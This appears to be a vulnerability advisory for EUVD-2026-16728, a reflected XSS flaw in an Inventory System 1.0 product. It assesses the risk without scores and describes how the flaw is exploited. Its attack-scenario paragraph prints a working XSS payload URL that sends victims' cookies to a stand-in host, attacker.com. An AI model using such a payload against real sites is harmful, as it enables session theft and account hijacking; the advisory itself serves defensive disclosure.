Inventory System EUVD-2026-16728

Risk assessment is constrained by incomplete data: CVSS vector, CVSS numeric score, EPSS score, and KEV status are all absent from available intelligence. However, multiple positive exploitation signals are present. First, reflected XSS is a well-understood attack class with low technical complexity (attack vector likely NETWORK, attack complexity LOW). Second, publicly available exploit code exists and is indexed in GitHub, indicating both discoverability and reproducibility by threat actors. Third, the application appears to be legacy software (version 1.0) with no evidence of active patching, suggesting affected instances may remain unpatched for extended periods. The absence of authentication requirements further reduces attacker friction. While CVSS and EPSS scores would refine this assessment, the combination of public POC availability, trivial exploitation complexity, and broad applicability to unauthenticated users suggests this merits prioritized remediation in affected environments, particularly for internet-facing deployments.

An attacker crafts a malicious URL such as http://target.local/view_product.php?limit=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script> and distributes it to users (via phishing email, social media, or forum posts). When an unauthenticated victim clicks the link, the script executes in their browser session, transmitting their session cookies or credentials to the attacker's server. The attack requires no special privileges, authentication, or user interaction beyond clicking the link. A public exploit proof-of-concept has been published, reducing the barrier to weaponization.